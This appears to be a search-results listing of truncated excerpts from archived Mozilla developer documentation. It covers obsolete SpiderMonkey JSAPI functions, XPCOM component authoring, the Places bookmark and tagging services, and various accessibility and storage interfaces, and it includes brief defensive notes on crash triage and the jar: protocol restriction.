try to avoid using it. sets a callback to be run whenever a javascript function is invoked or exited. this lets you trace the execution of code, and is particularly useful for javascript tracers and profilers since it works across all run modes (interpreter, method jit, trace jit). using this function may have a significant performance impact. see function tracing for an example. note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls. ...
JS_SetGlobalObject
try to avoid using it. set a context's global object. syntax void js_setglobalobject(jscontext *cx, jsobject *obj); name type description cx jscontext * the context to configure. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * pointer to the object to set as the global object, or null. description this function is obsolete; see also js_getglobalobject. js_setglobalobject sets the global object of the context cx to obj. ...
JS_SetOperationCallback
try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 set a callback function that is automatically called periodically while javascript code runs. these methods/types are renamed to js_setinterruptcallback, js_getinterruptcallback, js_requestinterruptcallback and jsinterruptcallback in spidermonkey 30. ...
JS_SetOptions
try to avoid using it. enables and disables options on a jscontext, replacing all previously set options. syntax uint32 js_setoptions(jscontext *cx, uint32 options); name type description cx jscontext * a context on which to set options. options uint32 the new set of options. this is the logical or of zero or more flags described below. description js_setoptions sets the option flags of a given js context cx. ...
JS_SetParent
try to avoid using it. sets the parent for an object. syntax bool js_setparent(jscontext *cx, js::handleobject obj, js::handleobject parent); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject pointer to the object for which to set the parent. this must be an object that has not yet been exposed to script. ...
JS_SetPropertyAttributes
try to avoid using it. set the attributes for a specified property. syntax jsbool js_setpropertyattributes(jscontext *cx, jsobject *obj, const char *name, unsigned int attrs, jsbool *foundp); jsbool js_setucpropertyattributes(jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, unsigned int attrs, jsbool *foundp); name type description cx jscontext * the context in which to set the property attributes. requires request. ...
JS_SetVersion
try to avoid using it. configure a jscontext to use a specific version of the javascript language. syntax jsversion js_setversion(jscontext *cx, jsversion version); name type description cx jscontext * pointer to a js context from which to derive runtime information. version jsversion version of javascript to set context to. description js_setversion attempts to set the version of javascript to version for a specified executable script context, cx. ...
JS_SuspendRequest
try to avoid using it. removed from spidermonkey at or prior to version 45. since then, a jsruntime is tied to the thread that created it; it may not be accessed by any other thread. suspends the calling thread's current request, if any, to allow the thread to block or perform time-consuming calculations. ...
JS_ToggleOptions
try to avoid using it. toggle specified options on a jscontext. syntax uint32 js_toggleoptions(jscontext *cx, uint32 options); name type description cx jscontext * a context on which to modify options. options uint32 the set of options to toggle. this is the logical or of zero or more flags described at js_setoptions. description js_toggleoptions toggles context-wide options. it is equivalent to js_setoptions(cx, js_getoptions(cx) ^ options). ...
JS_TracerInit
try to avoid using it. this article covers features introduced in spidermonkey 1.8 note: in jsapi 12, the macro js_tracer_init has been replaced by the function js_tracerinit initialize a jstracer for object graph tracing. syntax void js_tracerinit(jstracer *trc, jsruntime *rt, jstracecallback callback); name type description trc jstracer * the tracer to be initialized. cx jscontext * the context in which to perform tracing. ...
JS_Unlock
try to avoid using it. unlock a previously locked js run-time environment. syntax void js_unlock(jsruntime *rt); name type description rt jsruntime * pointer to the runtime to unlock. ...
JS_ValueToBoolean
try to avoid using it. replaced by js::toboolean convert any javascript value to a boolean value. syntax jsbool js_valuetoboolean(jscontext *cx, jsval v, jsbool *bp); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v jsval the value to convert. bp jsbool * out parameter. on success, *bp receives the converted boolean value. ...
JS_ValueToECMAInt32
try to avoid using it. convert a javascript value to an integer type as specified by the ecmascript standard. syntax jsbool js_valuetoecmaint32(jscontext *cx, jsval v, int32 *ip); jsbool js_valuetoecmauint32(jscontext *cx, jsval v, uint32 *ip); jsbool js_valuetouint16(jscontext *cx, jsval v, uint16 *ip); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_ValueToInt32
try to avoid using it. convert a javascript value to a 32-bit signed integer. syntax jsbool js_valuetoint32(jscontext *cx, jsval v, int32 *ip); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v jsval the value to convert. ip int32 * out parameter. on success, *ip receives the converted integer value. ...
JS_ValueToNumber
try to avoid using it. replaced by js::tonumber. convert any javascript value to a floating-point number of type jsdouble. syntax jsbool js_valuetonumber(jscontext *cx, jsval v, jsdouble *dp); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v jsval the value to convert. dp jsdouble * out parameter. ...
JS_ValueToSource
see also bug 462910 ...
JS_YieldRequest
try to avoid using it. momentarily suspend the current jsapi request, allowing garbage collection to run if another thread has requested it. syntax void js_yieldrequest(jscontext *cx); name type description cx jscontext * the jscontext that is currently in a request on the calling thread. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. description for more information about thread safety and requests, see js_threadsafe. ...
OBJECT_TO_JSVAL
try to avoid using it. casts a specified js object to a js value. please use js::objectvalue/js::objectornullvalue instead in spidermonkey 45 or later. syntax jsval object_to_jsval(jsobject *obj); name type description obj jsobject * a pointer to a javascript object to convert to a jsval. description object_to_jsval casts obj from type jsobject * to jsval. if obj is null, the result is jsval_null. ...
PRIVATE_TO_JSVAL
try to avoid using it. cast raw void * pointers to type jsval and vice versa. please use js::privatevalue instead in spidermonkey 45 or later. syntax jsval private_to_jsval(void *ptr); void * jsval_to_private(jsval v); // obsoleted since jsapi 32 description with private_to_jsval(), an application can store a private data pointer, p, as a jsval. this can be useful with reserved slots. the private data pointer can point to application-defined memory of any type, but the pointer must be two-byte-aligned (that is, (int) p must be even). ...
STRING_TO_JSVAL
try to avoid using it. casts a specified js string to a js value. please use js::stringvalue instead in spidermonkey 45 or later. syntax jsval string_to_jsval(jsstring *str) name type description obj jsstring * a pointer to a js string to convert to a jsval. description string_to_jsval casts a given jsstring * to jsval. str must be a non-null pointer of type jsstring *. the conversion always succeeds. ...
jschar
try to avoid using it. jschar is the type of javascript "characters", the 16-bit elements that make up strings. jschar, a typedef for the standard c++ type char16_t, will be removed in jsapi 38. functions that use jschar will use char16_t directly. embedder code should use char16_t, too. (see bug 1063962.) as required by the ecmascript standard, ecma 262-3 §4.3.16", javascript strings are arbitrary sequences of 16-bit values. a string may contain unmatched surrogates, which are not valid utf-16. it may also contain zeroes ('\0'). ...
jsint
try to avoid using it. aliases for c/c++ integer types. syntax typedef ... jsint; typedef ... jsuint; typedef ... jsword; typedef ... jsuword; typedef ... intn; typedef ... uintn; // following types are still provides in js/public/legacyinttypes.h, // but should not use them. typedef ... int8; typedef ... uint8; typedef ... int16; typedef ... uint16; typedef ... int32; typedef ... uint32; typedef ... int64; typedef ... uint64; description jsint and jsuint are 32-bit integer types. jsword and jsuword are pointer-sized integer types. ...
JSAPI reference
bsolete since jsapi 52 js_errorfromexception js_geterrorprototype jsreport_is_exception jsreport_is_strict jsreport_is_warning jsreport_is_strict_mode_error the following functions allow c/c++ functions to throw and catch javascript exceptions: js::createerror added in spidermonkey 38 js_isexceptionpending js_getpendingexception js_setpendingexception js_clearpendingexception js_throwstopiteration added in spidermonkey 1.8 js_isstopiteration added in spidermonkey 31 typedef jsexceptionstate js_saveexceptionstate js_restoreexceptionstate js_dropexceptionstate these functions translate errors into exceptions and vice versa: js_reportpendingexception js_errorfromexception js_throwreportederror obsolete since jsapi 29 values and types typedef jsval js::val...
Profiling SpiderMonkey
build of firefox, with debugger info. for the mac, you'll want to read up on profiling javascript with shark. here's a sample mozconfig: mk_add_options moz_objdir=@topsrcdir@/ff-opt-libxul mk_add_options moz_make_flags=-j3 ac_add_options --enable-optimize ac_add_options --enable-libxul ac_add_options --enable-shark ac_add_options --enable-debugger-info-modules ac_add_options --enable-application=browser 2.) you'll want to run shark on both the browser and [xpcshell], since the host environments differ. here are some instrumented tests to work from: media:profiling-ammo.zip 3.) once you have some changes you'd like to try, you can just rebuild the js/src directory, since it produces its own shared library, even in libxul and static builds. make -c my-obj-dir/js/src other ways to profile for l...
SpiderMonkey 1.8
codestring is a new variation on js_getstringbytes that returns a newly allocated, writable buffer which the application must js_free. js_reportallocationoverflow can be used (instead of js_reportoutofmemory) to indicate that the script is trying to do something that would require more memory than the implementation is designed to handle. the main difference is that js_reportallocationoverflow throws an exception which the application may catch. js_throwstopiteration throws the appropriate stopiteration exception object for the given context. two new context options can be used with js_setoptions: jsoption_relimit, which causes extremely long-running regular expression searches to fail with an error, and jsoption_anonfunfix, which bans anonymous functions from appearing anyplace where a sta...
SavedFrame
tacks should generally be captured, allocated, and live within the compartment that is being observed or debugged. usually this is a content compartment. capturing savedframe stacks from c++ use js::capturecurrentstack declared in jsapi.h. from js use savestack, accessible via components.utils.getjstestingfunction(). including and excluding chrome frames consider the following savedframe stack. arrows represent links from child to parent frame, content.js is from a compartment with content principals, and chrome.js is from a compartment with chrome principals. function a from content.js | v function b from chrome.js | v function c from content.js the content compartment will ever have one view of this stack: a -> c. however, a chrome compartment ...
Setting up CDT to work on SpiderMonkey
ebase. luckily, improvements in cdt have reduced the basic process to manageable five steps: download and extract "eclipse ide for c/c++ developers" from the eclipse downloads page. start eclipse and create a workspace somewhere. select "new > makefile project with existing code" from the "file" menu. give the project a name that you like ("spidermonkey" has a nice ring to it) and use the "browser…" button to select your checkout's js/src folder for the "existing code location". choose the correct toolchain for your platform (i.e. macos x gcc on mac) and click "finish". at this point, the indexer starts running and already produces a pretty decent index of much of spidermonkey. still, there are a quite a few things that cdt does not pick up yet: for everything to be indexed, cdt has...
Split object
with wrapper object that is skipped, or something, during the search described here. this security feature is not peculiar to split objects. ...and yet, there is special code in jsobj.h with a comment about fixing some kind of interaction between with an split objects. write that down, it'll be on the test.) split objects were the solution. the inner window object is different for each page a browser window visits. it serves as the "globals" object and provides the jsprincipals for scripts on that page. access to inner window properties is fast. the outer window object is the object returned by window.open. it represents the window or tab itself and survives as the user navigates in that window or tab. the window object's jsclass.resolve hook ensures that properties of the inner object are ...
TPS Bookmark Lists
. if a location property exists inside the changes object, it is applied before the position property. if location is specified without position, then the bookmark is moved to the end of the specified folder. if position is specified without location, then the bookmark is moved to the specified position within the current folder. bookmarks.delete - the bookmarks in this list are deleted from the browser. ...
TPS Pref Lists
a prefs asset list is an array of objects with name and value keys, representing browser preferences. for example: var prefs1 = [ { name: "browser.startup.homepage", value: "http://www.getfirefox.com" }, { name: "browser.urlbar.maxrichresults", value: 20 }, { name: "browser.tabs.autohide", value: true } ]; pref lists and phase actions the only actions supported for preference asset lists are modify and verify: prefs.modify prefs.verify sync only syncs certain preferences. to find the list of valid preferences, go to about:config on a browser that has weave installed, and search for services.sync.prefs.sync. for a more detailed test example, see the tps prefs unit test. ...
TPS Tab Lists
tabs.verify - verifies that the specified tabs can be found in the specified profile. tabs.verifynot - verifies that the specified tabs cannot be found in the specified profile. there are a handful of static pages at http://hg.mozilla.org/services/tps/file/tip/pages which can be used for tab testing, and data: url's can be used as well. example see the tps tabs unit test: http://...
Mozilla Projects
crash reporting system. this system is combination of projects: emscripten emscripten is an llvm to javascript compiler. it takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web. firefox sync firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your devices. jshydra jshydra is a static analysis tool that is capable of performing analysis of general javascript code. l20n l20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and app...
Redis Tips
it extra clear what these keys are for. even if i have a private redis db for this app, this is descriptively useful and adds a measure of safety. if i ever have more values to store per email than just the password, i could use a hash, with a key like ptu:identity:<email>. in the case where you want to do something akin to a join, like, say, associate an email and a remote url to store a browserid assertion, just make a new key. in this case, it might be: ptu:assertion:email:<email>:origin:<domain> and since assertions time out, i would do a setex or expireat on that key when i created it. you can rename keys with rename recommended reading http://oldblog.antirez.com/post/redis-persistence-demystified.html/ ...
Exploitable crashes
look at the crash reason, which will usually be something like "kern_protection_failure (0x0002) at 0x00000000". this is typically located right above the stack trace. the last number, in this case 0x00000000, is the memory address firefox was prevented from accessing. if the address is always zero (or close to zero, such as 0x0000001c), it's probably a null dereference bug. these bugs cause the browser to crash, but they do so in a predictable way, so they are not exploitable. most crashes fall into this category. check the length of the stack trace. if it's over 300 functions long, it's likely to be a too-much-recursion crash. like null dereferences, these crashes are not exploitable. any other crash where firefox tries to use memory it does not have access to indicates some kind of memory...
Pinning violation reports
public key pinning helps ensure that people are connecting to the sites they intend. it allows site operators to specify who can issue valid certificates for them, rather than accepting any one of the hundreds of built-in root certificates that ship with your browser. if a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page. the error page displayed by firefox when you encounter a pin violation gives you the option of reporting this error. doing this can help us to make the web safer. ...
Security and the jar protocol
file's real contents are, as far as firefox is concerned, it was a zip archive. this ordinarily isn't a big deal, since site developers wouldn't put up dangerous files and set them up to download like zip archives. however, if a site allows file uploads, zip files are typically treated as relatively innocuous by web sites in that situation, since they're not executable. unless, of course, the browser thinks it's a jar file. so starting with gecko 1.8.0.15 and 1.8.1.10, the jar: protocol is only allowed if the mime type of the file is application/java-archive. a site that serves a file with that type is essentially promising that it has vetted the content and that it is in fact safe to download and execute. any other file type results in an "unsafe file type" error. ...
Gecko object attributes
ock, but there is no requirement to do so. their formatting may have been changed with css. an example of this is often horizontal navigation bars with list items that are formatted with css display: inline. applied to: any object that supports the hypertext interface note: deprecated, use display attribute instead line-number the current line number of the caret, whether simply because the "browse with caret" option is on, or the caret used for editing text. the line number is relative to the top of the currently focused area (the document, a rich text editable area, or an input control). applied to: any focusable accessible text object margin-bottom specifies how much vertical space there will be after the bottom of the last line of content in a text accessible (see the css margin...
ROLE_TABLE
also refer to the following roles: role_columnheader, role_rowheader, role_column, role_row, role_cell. ...
XForms Accessibility
nger distributed with firefox build. you must build it yourself. see section below. for firefox, you may directly download the nighly "trunk" build of firefox and install the xforms extension which lives in 'xpi' directory of the build. note, xforms accessibility is implemented only on trunk. trunk builds are not considered stable and should not be installed on top of the firefox used for daily browsing. currently we have verified that xforms accessibility is working on the windows platform, and linux testing has not yet been done, although everything should work and is ready to be tested. you will find trunk builds of firefox at ftp.mozilla.org, trunk builds of xforms extension (windows) at ftp.mozilla.org or trunk builds of xforms extension (linux) ftp.mozilla.org. build it yourself if yo...
DocShell
docshell is the second iteration of what originally started out as webshell. at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell. nswebbrowser project page (outlines the design of nswebbrowser and docshell). overview of a uri load up though dispatch to a content handler. overview of a uri load in general (more bird's-eye view). overview of how downloads work. docshell wiki. ...
Manipulating bookmarks using Places
e, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. this article offers examples for how to perform common bookmark management tasks using the bookmarks service. initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method. for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder...
Querying Places
allows configuration of the search result the history service: nsinavhistoryservice, executes the query the first first step is to create the query and options, and fill them with the parameters you want. use nsinavhistoryservice.getnewquery() and nsinavhistoryservice.getnewqueryoptions() to retrieve empty objects. the defaults for these objects will result in a query that returns all of your browser history in a flat list: chromeutils.definemodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); // no query options set will get all history, sorted in database order, // which is nsinavhistoryqueryoptions.sort_by_none. let options = placesutils.history.getnewqueryoptions(); // no query parameters will return everything let query = places...
Using the Places tagging service
the tagging service, offered by the nsitaggingservice interface, provides methods to tag and untag a uri, to retrieve uris for a given tag, and to retrieve all tags for a uri. initiating the tagging service before using the tagging service, you need to obtain a reference to an instance of it: var taggingsvc = components.classes["@mozilla.org/browser/tagging-service;1"] .getservice(components.interfaces.nsitaggingservice); tagging a uri the nsitaggingservice.taguri() method tags a url with the given set of tags. current tags set for the url persist, and tags which are already set for the given url are ignored. taggingsvc.taguri(uri("http://example.com/"), ["tag 1"]); //first argument = uri //second argu...
The Publicity Stream API
is provided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using. it is not meant as a general application messaging system. accessing the api the publicity api can be enabled by including a javascript library. this library will detect whether native api support is enabled by the user's browser, if not it will shim in a pure html implementation. [is this still doable?] the javascript library should be included from: https://myapps.mozillalabs.com/jsapi/publicity.js all apis related to open web applications are accessed under the navigator.apps object. publicity stream api (navigator.apps.publicity.*) the publicity api is exposed as properties on the navigator.apps.publicity object. ...
FUEL
been implemented in thunderbird ("steel") and in seamonkey ("smile"). objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage fueliapplication objects fueliannotations fueliapplication fuelibookmark fuelibookmarkfolder fuelibookmarkroots fuelibrowsertab fueliwindow xpcom although the fuel application object is preloaded into xul scripts, it is not preloaded into javascript xpcom code. the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/fuel/application;1"].getservice(components.interfaces.fueliapplication); ...
SMILE
that implements all the functions of extiapplication. the library has also been implemented in firefox ("fuel") and in thunderbird ("steel"). objects extiapplication objects exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage smileiapplication objects smileibookmarkroots smileiwindow smileibrowsertab smileiapplication xpcom although the extiapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code. the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/smile/application;1"].getservice(components.interfaces.smileiapplication); ...
extIApplication
y attribute extievents the events object for the application. supports: "load", "ready", "quit", "unload" the following interfaces are only available to firefox: attribute type description bookmarks readonly attribute fuelibookmarkroots the root bookmarks object for the application. windows readonly attribute nsivariant an array of browser windows within the application. activewindow readonly attribute fueliwindow the currently active browser window. methods quit() attempts to shutdown the application. it is possible for the shutdown to be canceled. boolean quit() return value boolean value indicating whether the shutdown was successful. restart() attempts to restart the application. it is possible ...
extISessionStorage
extisessionstorage is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. method overview these methods are usually accessed via application.storage. ...
Toolkit API
the mozilla toolkit is a set of programming interfaces (apis) built on top of gecko which provide advanced services to xul applications. ...
How to build an XPCOM component in JavaScript
le method, which returns the string "hello world!". defining the interface if you want to use your component in other xpcom components, you must define the interfaces that you want exposed. if you want to use your component only from javascript, you can skip to the next section. there are many interfaces already defined in mozilla applications, so you may not need to define a new one. you can browse existing xpcom interfaces at various locations in the mozilla source code, or using xpcomviewer, a gui for browsing registered interfaces and components. you can download an old version of xpcomviewer that works with firefox 1.5 from mozdev mirrors. if an interface exists that meets your needs, then you do not need to write an idl, or compile a typelib, and may skip to the next section. if you...
Component Internals
ctory code creates for use by clients. xpcom initialization to understand why and when your component library gets called, it is important to understand the xpcom initalization process. when an application starts up, that application may initialize xpcom. the sequence of events that kicks off this xpcom initialization may be triggered by user action or by the application startup itself. a web browser that embeds gecko, for example, may initialize xpcom at startup through the embedding apis. another application may delay this startup until xpcom is needed for the first time. in either case, the initialization sequence within xpcom is the same. xpcom starts when the application makes a call to initialize it. parameters passed to this startup call allow you to configure some aspects of xpcom,...
Finishing the Component
st); if (strcmp(hosttoload.get(), host.get()) == 0) { // match found. allow this nsiuri to load *_retval = pr_true; return ns_ok; } node = node->next; } return ns_ok; } at this point, all of the backend work is complete. you can of course improve this backend in many ways, but this example presents the basic creation of what is commonly referred to as a "browser helper object" like weblock. the next chapter looks at how to tie this into the front end - specifically, how to use xpconnect to access and control this component from javascript in the user interface. « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication licens...
Using XPCOM Utilities to Make Things Easier
reteclass) this results in a function called concreteclassconstructor that can be used in the nsmodulecomponentinfo structure. #include "nsigenericfactory.h" static const nsmodulecomponentinfo components[] = { { "pretty class name", sample_cid, "@company.com/sample", sampleconstructor } } ns_impl_nsgetmodule(nssamplemodule, components) most of the components in the mozilla browser client use this approach. common implementation macros every xpcom object implements nsisupports, but writing this implementation over and over is tedious. unless you have very special requirements for managing reference counting or handling interface discovery, theimplementation macros that xpcom provides can be used. instead of implementing the nsisupports yourself, ns_impl_isupports1 can e...
Creating XPCOM components
gecko components interfaces interfaces and encapsulation the nsisupports base interface xpcom identifiers cid contract id factories xpidl and type libraries xpcom services xpcom types method types reference counting status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components from script component internals creating components in cpp xpcom initialization xpcom registry manifests registration methods in xpcom autoregistration the shutdown process three parts of a xpcom compone...
Receiving startup notifications
s are loaded. this gets enough of xpcom and the application loaded and running that the extension manager can then be loaded and handle installing, uninstalling, and updating any installed extensions. once that process is completed, extensions can then be loaded by simply reading their manifests, loading their components, and continuing with application startup, all without having to restart the browser. receiving startup notifications prior to gecko 2.0 (firefox 4) to receive startup notifications, one needs to register with the "app-startup" category using nsicategorymanager; having done so, the component will receive these startup notifications, including: xpcom-startup sent when xpcom finishes starting up. most application features are not yet available at this point, but xpcom itself is.
Components.utils.forceGC
this mechanism doesn't account for any native (c++) xpcom objects hanging off javascript objects though. in many cases a javascript application will have internal knowledge of javascript objects referencing large (trees of) xpcom objects and know when they are no longer reachable. in this case it can be important to be able to force a garbage collection cycle from javascript. ...
Components.utils.import
global object is used. under boot2gecko, the scope is not optional. if your code is meant to work on all platforms, you should always provide a scope. in case of doubt, this is generally a good scope. return value the module's global object. use of the return value is discouraged since it grants access to the module's internal properties which are not part of its public api. import throws if it encounters an error (like a syntax error) in the file it reads. example components.utils.import("resource://gre/modules/xpcomutils.jsm", this); difference from mozijssubscriptloader the differences from mozijssubscriptloader: the behavior when importing/loading the same code from different locations: the subscript loader evaluates the specified code each time it is invoked, with th...
Language bindings
add-on code, to access variables and apis defined in web content.components.utils.exportfunctionthis function provides a safe way to expose a function from a privileged scope to a less-privileged scope.components.utils.forcegccomponents.utils.forcegc lets scripts force a garbage collection cycle. the mozilla javascript engine will perform garbage collection automatically when the javascript heap grows beyond a certain size. this mechanism doesn't account for any native (c++) xpcom objects hanging off javascript objects though. in many cases a javascript application will have internal knowledge of javascript objects referencing large (trees of) xpcom objects and know when they are no longer reachable. in this case it can be important to be able to force a garbage collection cycle from javascrip...
imgICache
ents.classes["@mozilla.org/image/tools;1"].getservice(components.interfaces.imgitools); var cache = tools.getimgcachefordocument(relevantdocument); // alternatively, tools.getimgcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but this will cause any image cache requests to use the permanent storage cache (ie. any images from windows in private browsing mode will not be present in the cache returned from a call with a null parameter). method overview void clearcache(in boolean chrome); nsiproperties findentryproperties(in nsiuri uri); void removeentry(in nsiuri uri); methods clearcache() evict images from the cache. void clearcache( in boolean chrome ); parameters chrome ...
mozIAsyncFavicons
et. afaviconuri uri of the favicon to associate with the page. aforcereload if false, we try to reload the favicon only if we do not have it or it has expired from the cache. setting to true causes us to reload the favicon even if we have a usable copy. afaviconloadtype set to nsifaviconservice.favicon_load_private if the favicon is loaded from a private browsing window. set to nsifaviconservice.favicon_load_non_private otherwise acallback optional once we're done setting and/or fetching the favicon, we invoke this callback. replacefavicondata() sets the data for a given favicon uri either by replacing existing data in the database or taking the place of otherwise fetched icon data when calling setandfetchfaviconforpage later. favicon da...
mozISpellCheckingEngine
opyright of the engine. not currently used. read only. dictionary wstring the name of the current dictionary used by check() and suggest(). this will be either element from the array returned by getdictionarylist() or an empty string if no dictionary is selected. note: setting this value to a value that doesn't match an existing dictionary throws a ns_error_file_not_found exception. when this attribute's value is changed, a "spellcheck-dictionary-update" notification is sent. if the dictionary was set to "no dictionary" (that is, by specifying an empty string), the observer may select another dictionary before returning. language wstring the language this spell checker is using when chec...
mozIStorageStatement
ement object that can be used to cancel the execution of the statement. executestep() executes a query with the currently bound parameters, and steps through the results one row at a time. for sample code and more details, see the overview document. note: the statement must be reset before being reused. boolean executestep(); return value returns a boolean indicating whether there are more rows or not. row data may be accessed using mozistoragevaluearray methods on the statement. step() identical to calling executestep(), and then calling reset() when no more rows are returned. note: this method may only be called from javascript code. boolean step() return value true if there are more rows left in the results, otherwise false. execute() execute the query, ignoring any results. ...
mozIStorageStatementWrapper
d 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void initialize(in mozistoragestatement astatement); void reset(); boolean step(); void execute(); attributes attribute type description statement mozistoragestatement the statement that is wrapped. row mozistoragestatementrow the current row. throws an exception if no row is currently available. useful only from script. the value of this is only valid while the statement is still executing, and is still on the appropriate row. params mozistoragestatementparams the parameters; these can be set in lieu of using the call notation on this. methods initialize() this method initializes this wrapper with astatement. void initi...
mozIStorageVacuumParticipant
nt". add more details here. method overview boolean onbeginvacuum(); void onendvacuum(in boolean asucceeded); attributes attribute type description databaseconnection mozistorageconnection a connection to the database file to be vacuumed. expecteddatabasepagesize long the expected page size, in bytes, for the database. the vacuum manager will try to correct the page size when the browser is idle, using this value as a target. valid page sizes are in the range 512 to 65,536. the recommended value is mozistorageconnection::default_page_size. note: if the database is using the wal journal node and the current page size is not the expected one, the journal node will be changed to truncate because wal doesn't allow page size changes. the vacuum manager will try to restore wal mode, ...
nsIAccessibleDocument
eate if true, this method can create a new accessible. otherwise, it will return the first cached accessible in the parent chain. return value the first nsiaccessible found by crawling up the dom node to the document root. native code only!getcachedaccessnode obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. returns the access node cached by this document. nsiaccessnode getcachedaccessnode( in voidptr auniqueid ); parameters auniqueid the unique id used to cache the node. this matches up with the uniqueid attribute on nsiaccessnode. return value the nsiaccessnode cached for this particular unique id.
nsIAccessibleTableCell
d(); attributes attribute type description columnextent long return the number of columns occupied by this cell. the result differs from 1 if the specified cell spans multiple columns. read only. columnheadercells nsiarray return an array of column header cells for this cell. read only. columnindex long return column index of this cell. read only. rowextent long return the number of rows occupied by this accessible cell. the result differs from 1 if the specified cell spans multiple rows. read only. rowheadercells nsiarray return an array of row header cells for this cell. read only. rowindex long return row index of this cell. read only. table nsiaccessibletable return host table accessible. read only. methods isselected() boolean isselected(); parameters none. return ...
nsIAccessibleTableChangeEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description numrowsorcols long return the number of rows or cols. read only. roworcolindex long return the row or column index. read only. ...
nsIAccessibleText
e description boundary_char 0 boundary_word_start 1 boundary_word_end 2 boundary_sentence_start 3 do not use in new code. boundary_sentence_end 4 do not use in new code. boundary_line_start 5 boundary_line_end 6 boundary_attribute_range 7 coordinate type constants obsolete since gecko 1.9 (firefox 3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. constant value description coord_type_screen 0 coord_type_window 1 methods addselection() void addselection( in long startoffset, in long endoffset ); parameters startoffset endoffset getattributerange() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamon...
nsIAppStartup
neservice, in boolean caninteract ); parameters acmdlineservice the arguments given to the program. caninteract if false and ui is needed, will fail. ensure1window() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) ensures that at least one window exists after creating the startup state. if one has not been made, this will create a browser window. void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the command line from which startup args can be read. enterlastwindowclosingsurvivalarea() serves for situations when all application windows will be closed but we don't want to take this as a signal to quit the application. bracket the code where the last window could close with these. v...
nsIApplicationCache
or this cache group. this is the uri of the cache manifest file. read only. usage unsigned long the disk usage of the application cache, in bytes. read only. constants constant value description item_manifest 1 this item is the application manifest. item_explicit 2 this item was explicitly listed in the application manifest. item_implicit 4 this item was navigated to in a top level browsing context, and named this cache's group as its manifest. item_dynamic 8 this item was added to the cache using the dynamic scripting api. item_foreign 16 this item was listed in the application manifest, but named a different cache group as its manifest. item_fallback 32 this item was listed as a fallback entry. item_opportunistic 64 this item matched an opportunistic cache namespace and...
nsIAutoCompleteInput
ontroller nsiautocompletecontroller the controller. read only. disableautocomplete boolean true if auto-complete is currently disabled; otherwise false. forcecomplete boolean if true, the text field automatically completes to the default result whenever the user hits the enter key or the text field loses focus. maxrows unsigned long the maximum number of rows to display in the autocomplete suggestion popup. minresultsforpopup unsigned long specifies a minimum number of search results that must be available before the autocomplete popup will open. popup nsiautocompletepopup the view in which results will be displayed.read only. p...
nsIBidiKeyboard
hunderbird 9.0 / seamonkey 2.6) method overview boolean islangrtl(); void setlangfrombidilevel(in pruint8 alevel); attributes attribute type description havebidikeyboards boolean indicates whether or not the system has at least one keyboard for each direction (left-to-right and right-to-left) installed. read only. note: this throws ns_error_not_implemented if the widget layer doesn't provide this information. currently, this is only implemented on windows. methods islangrtl() determines if the current keyboard language is right-to-left. (supported on: win32, mac, gtk2) note: prior to gecko 1.9 this method used a parameter 'out prbool aisrtl' to return the value. boolean islangrtl(); parameters none. return value...
nsICacheService
